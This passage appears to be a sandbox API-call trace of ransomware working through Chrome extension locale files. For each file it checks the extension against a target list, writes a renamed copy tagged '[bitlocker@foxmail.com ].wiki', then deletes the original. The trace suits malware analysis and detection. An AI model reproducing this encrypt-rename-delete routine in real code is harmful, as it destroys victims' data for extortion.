[0174.563] lstrlenW (lpString=".docx") returned 5 [0174.563] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.563] lstrlenW (lpString=".pdf") returned 4 [0174.564] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.564] lstrlenW (lpString=".xls") returned 4 [0174.564] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.564] lstrlenW (lpString=".xlsx") returned 5 [0174.564] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.564] lstrlenW (lpString=".ppt") returned 4 [0174.564] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.564] lstrlenW (lpString=".zip") returned 4 [0174.564] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.564] lstrlenW (lpString=".rar") returned 4 [0174.564] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.564] lstrlenW (lpString=".bz2") returned 4 [0174.564] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.564] lstrlenW (lpString=".7z") returned 3 [0174.564] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.564] lstrlenW (lpString=".dbf") returned 4 [0174.564] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.564] lstrlenW (lpString=".1cd") returned 4 [0174.564] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.564] lstrlenW (lpString=".jpg") returned 4 [0174.564] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.564] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.564] lstrlenW (lpString="messages.json") returned 13 [0174.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.565] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.565] CloseHandle (hObject=0x1a0) returned 1 [0174.565] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json")) returned 0x2020 [0174.565] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.565] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.565] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.566] GetLastError () returned 0x0 [0174.566] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.567] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.568] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.568] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.568] SetEndOfFile (hFile=0x1a4) returned 1 [0174.568] CloseHandle (hObject=0x1a4) returned 1 [0174.568] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.568] SetEndOfFile (hFile=0x1a0) returned 1 [0174.569] CloseHandle (hObject=0x1a0) returned 1 [0174.569] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.569] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json")) returned 1 [0174.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.570] lstrlenW (lpString=".doc") returned 4 [0174.570] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.570] lstrlenW (lpString=".docx") returned 5 [0174.570] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.570] lstrlenW (lpString=".pdf") returned 4 [0174.570] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.570] lstrlenW (lpString=".xls") returned 4 [0174.570] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.570] lstrlenW (lpString=".xlsx") returned 5 [0174.570] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.570] lstrlenW (lpString=".ppt") returned 4 [0174.570] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.570] lstrlenW (lpString=".zip") returned 4 [0174.570] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.570] lstrlenW (lpString=".rar") returned 4 [0174.570] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.571] lstrlenW (lpString=".bz2") returned 4 [0174.571] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.571] lstrlenW (lpString=".7z") returned 3 [0174.571] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString=".dbf") returned 4 [0174.571] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString=".1cd") returned 4 [0174.571] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString=".jpg") returned 4 [0174.571] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString=".doc") returned 4 [0174.571] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.571] lstrlenW (lpString=".docx") returned 5 [0174.571] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.571] lstrlenW (lpString=".pdf") returned 4 [0174.571] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.571] lstrlenW (lpString=".xls") returned 4 [0174.571] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.571] lstrlenW (lpString=".xlsx") returned 5 [0174.571] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.571] lstrlenW (lpString=".ppt") returned 4 [0174.571] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.571] lstrlenW (lpString=".zip") returned 4 [0174.571] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.572] lstrlenW (lpString=".rar") returned 4 [0174.572] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.572] lstrlenW (lpString=".bz2") returned 4 [0174.572] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.572] lstrlenW (lpString=".7z") returned 3 [0174.572] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.572] lstrlenW (lpString=".dbf") returned 4 [0174.572] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.572] lstrlenW (lpString=".1cd") returned 4 [0174.572] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.572] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 153 [0174.572] lstrlenW (lpString=".jpg") returned 4 [0174.572] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.572] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.572] lstrlenW (lpString="messages.json") returned 13 [0174.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.573] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.573] CloseHandle (hObject=0x1a0) returned 1 [0174.573] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json")) returned 0x2020 [0174.573] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.573] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.573] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.574] GetLastError () returned 0x0 [0174.574] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.575] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.576] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.576] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.576] SetEndOfFile (hFile=0x1a4) returned 1 [0174.576] CloseHandle (hObject=0x1a4) returned 1 [0174.576] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.576] SetEndOfFile (hFile=0x1a0) returned 1 [0174.577] CloseHandle (hObject=0x1a0) returned 1 [0174.577] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.577] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json")) returned 1 [0174.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.577] lstrlenW (lpString=".doc") returned 4 [0174.577] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.577] lstrlenW (lpString=".docx") returned 5 [0174.577] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.577] lstrlenW (lpString=".pdf") returned 4 [0174.577] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.577] lstrlenW (lpString=".xls") returned 4 [0174.577] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.577] lstrlenW (lpString=".xlsx") returned 5 [0174.578] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.578] lstrlenW (lpString=".ppt") returned 4 [0174.578] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString=".zip") returned 4 [0174.578] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.578] lstrlenW (lpString=".rar") returned 4 [0174.578] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.578] lstrlenW (lpString=".bz2") returned 4 [0174.578] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.578] lstrlenW (lpString=".7z") returned 3 [0174.578] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString=".dbf") returned 4 [0174.578] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString=".1cd") returned 4 [0174.578] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString=".jpg") returned 4 [0174.578] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.578] lstrlenW (lpString=".doc") returned 4 [0174.578] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.578] lstrlenW (lpString=".docx") returned 5 [0174.578] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.578] lstrlenW (lpString=".pdf") returned 4 [0174.579] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.579] lstrlenW (lpString=".xls") returned 4 [0174.579] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.579] lstrlenW (lpString=".xlsx") returned 5 [0174.579] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.579] lstrlenW (lpString=".ppt") returned 4 [0174.579] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.579] lstrlenW (lpString=".zip") returned 4 [0174.579] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.579] lstrlenW (lpString=".rar") returned 4 [0174.579] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.579] lstrlenW (lpString=".bz2") returned 4 [0174.579] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.579] lstrlenW (lpString=".7z") returned 3 [0174.579] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.579] lstrlenW (lpString=".dbf") returned 4 [0174.579] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.579] lstrlenW (lpString=".1cd") returned 4 [0174.579] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 153 [0174.579] lstrlenW (lpString=".jpg") returned 4 [0174.579] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.579] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.580] lstrlenW (lpString="messages.json") returned 13 [0174.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.581] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.581] CloseHandle (hObject=0x1a0) returned 1 [0174.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 